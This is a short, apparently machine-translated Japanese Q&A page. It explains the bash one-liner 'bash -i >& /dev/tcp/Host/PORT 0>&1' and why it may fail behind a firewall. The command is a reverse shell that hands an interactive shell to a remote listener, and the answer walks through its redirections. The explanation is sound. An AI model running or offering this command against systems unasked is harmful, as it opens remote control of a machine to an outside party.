web-dev-qa-db-ja.com

bashの意味-i>&/ dev / tcp / Host / PORT 0>&1?

私は試した

bash -i >& /dev/tcp/Host/PORT 0>&1

ただし、ファイアウォールの背後では機能しないようです。このコードは実際に何をしますか、どのポートが転送され、ファイアウォールの背後で動作するでしょうか?

15
Helos

このスニペットは、bash(bash -i)、TCP bashプロセスの期間中に作成される指定されたホスト上の指定されたポートへの接続。標準出力および標準エラーはこの接続(>& /dev/tcp/Host/PORT)、および標準入力はこの接続(0>&1 —これは0<&1 だが 0>&1も機能します)。

進行中のポート転送はありません。明らかに、TCPある種のサーバーはそのHost:PORTで接続をリッスンして受け入れなければならず、ファイアウォールは接続を通過させなければなりません。